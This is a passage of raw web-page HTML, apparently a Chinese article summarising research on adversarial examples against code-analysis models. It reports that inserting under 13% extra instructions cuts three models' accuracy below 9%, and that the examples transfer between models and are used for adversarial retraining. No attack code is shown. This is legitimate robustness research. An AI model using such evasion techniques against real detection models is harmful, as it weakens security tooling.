BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 131px;height: 18px;" data-type="png" data-w="679" src="https://wechat2rss.xlab.app/img-proxy/?k=fd4e66cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUiaxqMLNXtia1tYVqujjibqJaoA5ib5dv74DGWKF1CJVc5diahxt0ibmJzmfw%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">、</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.10877192982456141" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 159px;height: 17px;" data-type="png" data-w="855" src="https://wechat2rss.xlab.app/img-proxy/?k=1e55eda1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUlQr1icnL95mQAzt1bEI3TChmwfKam2IgDYk55Of09LPlSjSQv5DpCxg%2F640%3Fwx_fmt%3Dpng"/>、<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.10094637223974763" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 166px;height: 17px;" data-type="png" data-w="951" src="https://wechat2rss.xlab.app/img-proxy/?k=e8dc0aa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUPjReWwiaydQv6GSHEFUkia5D2B3f7OgHia89K6JqJ4XFckl53oUqy11Vw%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">和</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.13412816691505217" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 125px;height: 17px;" data-type="png" data-w="671" src="https://wechat2rss.xlab.app/img-proxy/?k=2e6e9ade&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUdlJTxm7UKLMRUuCwQZ8ZhZaKJHVokt25ChTuVILOINl1wOwibBr0ibdA%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">进行评估</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">:</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6453447050461976" data-s="300,640" style="width: 252px;height: 163px;" data-type="png" data-w="1407" src="https://wechat2rss.xlab.app/img-proxy/?k=c0f2563c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU0t2QgjvWbiaSFOZHQEmRic7rzgiaV0xtKvZrobOx1XDHn5g6picmak8cuw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9552238805970149" data-s="300,640" style="width: 21px;height: 20px;" data-type="png" data-w="134" src="https://wechat2rss.xlab.app/img-proxy/?k=834a9cf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUSmicW3Fcgjliamniben4sX4ufg1dXTVKm3v6UPjrKPSyF5znfo0E9Za5w%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">来表示模型的原始精度。</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0578512396694215" data-s="300,640" style="text-align: center;width: 20px;height: 21px;" data-type="png" data-w="121" src="https://wechat2rss.xlab.app/img-proxy/?k=dfe843db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU12hicSP2cadUGkv6MFia5iauKaLqt0czZR92sT0pWJRI62UjVUBZOwmVQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">表示模型对对抗样例的识别率。</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8695652173913043" data-s="300,640" style="text-align: center;width: 23px;height: 20px;" data-type="png" data-w="138" src="https://wechat2rss.xlab.app/img-proxy/?k=8f87c02a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUzibs10O2LOfexwhzCbTdh6k3sH4z3qwLmRu3u3LGJ25zkQbicSl3aP9Q%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">表示为生成对抗样例而引入到原始样例中的指令的百分比。</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.967741935483871" data-s="300,640" style="text-align: center;width: 21px;height: 20px;" data-type="png" data-w="124" src="https://wechat2rss.xlab.app/img-proxy/?k=712b10b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU0IPJnyCT2P1uclISBriaV5jAAnuuMsDquYG3hXM8H3Lptz0Gvm0DJIA%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">表示</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">模型在对抗指令方面的敏感性。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">分析结果</span></strong></p><p style="text-align: justify;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">在<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.12637362637362637" data-s="300,640" style="height: 18px;text-align: center;white-space: normal;width: 142px;" data-type="png" data-w="910" src="https://wechat2rss.xlab.app/img-proxy/?k=bd028c84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUDkCrUADnVDbttcl0t3fpZkq5vyIRCPVY4WaC9vLwxDiamkMkc4hpbEA%2F640%3Fwx_fmt%3Dpng"/>基准测试上，<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>对3个目标模型（<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 15px;height: 29px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4530386740331492" data-s="300,640" style="height: 29px;letter-spacing: 0.544px;text-align: center;width: 65px;" data-type="png" data-w="362" src="https://wechat2rss.xlab.app/img-proxy/?k=20b7ce71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwtS6tH001owXxaa1icUKXicIicBw4ib8Yh9ST0TQcN8pWTxCvBB4TVhQug%2F640%3Fwx_fmt%3Dpng"/></span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;font-size: 16px;background-color: rgb(255, 255, 255);">，</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 15px;height: 18px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.45414847161572053" data-s="300,640" style="height: 18px;letter-spacing: 0.544px;text-align: center;width: 40px;" data-type="png" data-w="229" src="https://wechat2rss.xlab.app/img-proxy/?k=a230fcb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU4jyt2JMCpRKTPzgV7iaYN4FngK7wribIz2DCsCV1qBh9HsUXibGEBv4GQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 16px;">，</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 15px;height: 21px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4135593220338983" data-s="300,640" style="height: 21px;letter-spacing: 0.544px;text-align: center;width: 50px;" data-type="png" data-w="295" src="https://wechat2rss.xlab.app/img-proxy/?k=725f53c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUBBiazpibG5WBIsUH2pWxnKGm9jSQFDWgR2Rjr4nLwxmYiaGArcqGYskXQ%2F640%3Fwx_fmt%3Dpng"/></span>）的攻击结果，如下所示：</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;"></span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.09649122807017543" data-s="300,640" style="" data-type="png" data-w="1368" src="https://wechat2rss.xlab.app/img-proxy/?k=fe493b7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUS2mwUWn1lazfs9cu8vOFricaEiaJg8bBbEtjvUP57iaXPyWuTA4pY2DYA%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;"></span></section><p style="text-align: center;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;font-size: 12px;">图 3</span></p><p style="text-align: justify;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>将所有模型的准确性从100%降低到9%以下，而插入的指令占比不到13%。</span></p><p style="text-align: justify;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">为了验证基于一个模型的对抗样例是否也能欺骗另一个模型，作者收集了被一个目标模型预测错误的</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUdt7KMMKeCicyL1SXyMl9MCZLKuEl8KbVEXwtbvBoVMmPJcibR3XibKcCg/0?wx_fmt=png" data-cropx1="0" data-cropx2="315" data-cropy1="0" data-cropy2="55.04854368932039" data-galleryid="" data-ratio="0.1746031746031746" data-s="300,640" style="text-align: center;width: 103px;height: 18px;" data-type="jpeg" data-w="315" src="https://wechat2rss.xlab.app/img-proxy/?k=063bc4b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU8yCMV3LWf963vFxTysPpEHLZbxwq8sTGsRibH0CIv3udJbib3qDaTnZQ%2F640%3Fwx_fmt%3Djpeg"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">和</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.171875" data-s="300,640" style="text-align: center;width: 110px;height: 19px;" data-type="png" data-w="320" src="https://wechat2rss.xlab.app/img-proxy/?k=2df81218&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU5EgS4feRzgF75JOWFmYj2SR8cVpFftOXIHpA1sRDTEr6h0fCS2hsPA%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">的对抗样例</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">，测量它们与另一个目标模型的预测精度。</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;"></span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.37719298245614036" data-s="300,640" style="" data-type="png" data-w="684" src="https://wechat2rss.xlab.app/img-proxy/?k=a434a376&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUAM0xUqICYpRuNS92CEQ9ALh1PTnibXucpn1dfbPaPncjwgiaIC7ichiazw%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: center;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;font-size: 12px;">图4</span></p><p style="text-align: justify;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">根据图4，一个模型上生成的对抗例对其他模型仍然具有攻击效果，基于<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4135593220338983" data-s="300,640" style="height: 21px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 50px;" data-type="png" data-w="295" src="https://wechat2rss.xlab.app/img-proxy/?k=725f53c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUBBiazpibG5WBIsUH2pWxnKGm9jSQFDWgR2Rjr4nLwxmYiaGArcqGYskXQ%2F640%3Fwx_fmt%3Dpng"/>模型生成的对抗例具有较高的可移植性。</span></p><p style="text-align: justify;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">向模型中同时输入原始数据和对抗实例，原始模型是否能获得更强的鲁棒性。作者从</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1267123287671233" data-s="300,640" style="text-align: center;width: 142px;height: 18px;" data-type="png" data-w="584" src="https://wechat2rss.xlab.app/img-proxy/?k=0ce707ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUhfMonIGLs4vUnCpdiczUiapgeXB6Ofgk6AQlCOoDrqC8rIyM2t76EkDA%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">中收集了基于</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4530386740331492" data-s="300,640" style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;height: 29px;text-align: center;width: 65px;" data-type="png" data-w="362" src="https://wechat2rss.xlab.app/img-proxy/?k=20b7ce71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwtS6tH001owXxaa1icUKXicIicBw4ib8Yh9ST0TQcN8pWTxCvBB4TVhQug%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">的有效对抗样例，并将它们添加到原始训练集中。</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">并用</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">新的对抗样例测试经过重新训练的</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4530386740331492" data-s="300,640" style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;height: 29px;text-align: center;width: 65px;" data-type="png" data-w="362" src="https://wechat2rss.xlab.app/img-proxy/?k=20b7ce71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwtS6tH001owXxaa1icUKXicIicBw4ib8Yh9ST0TQcN8pWTxCvBB4TVhQug%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;">。</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.27218934911242604" data-s="300,640" style="" data-type="png" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=fa2a6a99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUjGALeOedypjcqk7yl9lFcwA24kDicohfciciaLJXl5WmZ1cYpUgP5VNnA%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: center;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;font-size: 12px;">图5</span></p><p style="text-align: justify;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">经过重新训练的<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4530386740331492" data-s="300,640" style="height: 29px;text-indent: 0em;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 65px;" data-type="png" data-w="362" src="https://wechat2rss.xlab.app/img-proxy/?k=20b7ce71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwtS6tH001owXxaa1icUKXicIicBw4ib8Yh9ST0TQcN8pWTxCvBB4TVhQug%2F640%3Fwx_fmt%3Dpng"/>的<img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0578512396694215" data-s="300,640" style="height: 21px;white-space: normal;text-align: center;width: 20px;" data-type="png" data-w="121" src="https://wechat2rss.xlab.app/img-proxy/?k=dfe843db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU12hicSP2cadUGkv6MFia5iauKaLqt0czZR92sT0pWJRI62UjVUBZOwmVQ%2F640%3Fwx_fmt%3Dpng"/>和<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8695652173913043" data-s="300,640" style="height: 20px;white-space: normal;text-align: center;width: 23px;" data-type="png" data-w="138" 